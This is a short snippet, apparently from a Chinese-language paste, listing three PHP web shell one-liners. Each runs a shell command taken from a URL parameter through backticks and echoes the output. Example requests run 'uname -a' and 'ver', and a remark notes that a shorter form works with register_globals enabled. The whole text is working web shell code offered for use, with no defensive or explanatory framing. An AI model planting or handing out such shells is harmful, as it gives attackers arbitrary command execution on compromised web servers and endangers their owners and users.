1. cmdexec20101201.php?cx=uname -a 
  2. <pre><?$cx1=$_GET['cx'];echo `$cx1`;?><pre> 
  3.  
  4. register_global=on,可以用下面的简化版: 
  5. <pre><?=`$cx`?></pre> 
  6.  
  7. cmdexec20101201.php?cx2=ver 
  8. <pre><?=`$_GET[cx2]`?></pre>